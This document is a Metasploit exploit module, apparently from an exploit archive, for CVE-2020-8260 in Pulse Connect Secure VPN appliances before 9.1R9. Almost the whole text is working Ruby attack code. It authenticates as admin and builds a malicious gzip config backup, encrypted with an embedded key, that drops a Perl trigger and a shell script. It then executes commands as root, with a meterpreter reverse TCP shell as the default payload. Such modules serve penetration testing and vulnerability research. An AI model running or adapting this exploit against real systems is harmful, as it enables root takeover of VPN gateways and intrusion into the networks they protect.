Pulse Secure VPN Remote Code Execution

The Pulse Connect Secure appliance versions prior to 9.1R9 suffer from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in remote code execution as root. Admin credentials are required for successful exploitation.


MD5 | 59e340f2d15da503b7cef81774ba584f

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pulse Secure VPN gzip RCE',
'Description' => %q{
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
Admin credentials are required for successful exploitation.
Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.
},
'Author' => [
'h00die', # msf module
'Spencer McIntyre', # msf module
'Richard Warren <[email protected]>', # original PoC, discovery
'David Cash <[email protected]>', # original PoC, discovery
],
'References' => [
['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],
['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],
['CVE', '2020-8260']
],
'DisclosureDate' => '2020-10-26',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
}
]
],
'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI of the application', '/']),
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to login with', '123456'])
])

register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),
])
end

def check(exploiting: false)
login
res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
version, build = version

return CheckCode::Unknown unless version.include?('R')

version, revision = version.split('R', 2)
print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9

CheckCode::Detected
rescue Msf::Exploit::Failed
CheckCode::Unknown
ensure
logout unless exploiting
end

def exploit
case (checkcode = check(exploiting: true))
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
print_good(checkcode.message)
when Exploit::CheckCode::Detected
print_warning(checkcode.message)
else
fail_with(Module::Failure::Unknown, checkcode.message.to_s)
end

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(
linemax: 262144, # 256KiB
delay: datastore['CMDSTAGER::DELAY']
)
end

logout
end

def execute_command(command, _opts = {})
trigger = Rex::Text.rand_text_alpha_upper(8)
print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")

config = build_malicious_config(command, trigger)
res = upload_config(config)

fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200

print_status('Triggering RCE')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
'headers' => { trigger => trigger }
})
end

def res_get_xsauth(res)
res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first
end

def upload_config(config)
print_status('Requesting backup config page')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'vars_get' => { 'type' => 'system' }
})
fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?

post_data = Rex::MIME::Message.new
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
post_data.add_part('Import', nil, nil, 'form-data; name="op"')
post_data.add_part('system', nil, nil, 'form-data; name="type"')
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')
post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')

print_status('Uploading encrypted config backup')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
'method' => 'POST',
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
end

def login
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'tz_offset' => '-300',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'realm' => 'Admin Users',
'btnSubmit' => 'Sign In'
},
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
location = res.headers['Location']
fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')

return unless location.include?('admin%2Dconfirm')

# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
print_status('Other admin sessions detected, continuing')
res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'btnContinue' => 'Continue the session',
'FormDataStr' => fds.first,
'xsauth' => xsauth
},
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Login failed') unless res
end

def logout
print_status('Logging out to prevent warnings to other admins')
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200

logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?

res = send_request_cgi({ 'uri' => logout_uri })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
end

def build_malicious_config(cmd, trigger)
payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
perl = <<~PERL
if (length $ENV{HTTP_#{trigger}}){
chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
system("env /data/var/runtime/tmp/tt/#{payload_script}");
}
PERL
tarfile = StringIO.new
Gem::Package::TarWriter.new(tarfile) do |tar|
tar.mkdir('tmp', 509)
tar.mkdir('tmp/tt', 509)
tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|
tio.write perl
end
tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|
tio.write "PATH=/home/bin:$PATH\n"
tio.write "rm -- \"$0\"\n"
tio.write cmd
end
end

gzfile = StringIO.new
gz = Zlib::GzipWriter.new(gzfile)
gz.write(tarfile.string)
gz.close

encrypt_config(gzfile.string)
end

def encrypt_config(config_blob)
cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
iv = cipher.iv = cipher.random_iv
cipher.key = ENCRYPTION_KEY

md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")

ciphertext = cipher.update(config_blob)
ciphertext << cipher.final
md5 << ciphertext

cipher.reset
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
end
end

Related Posts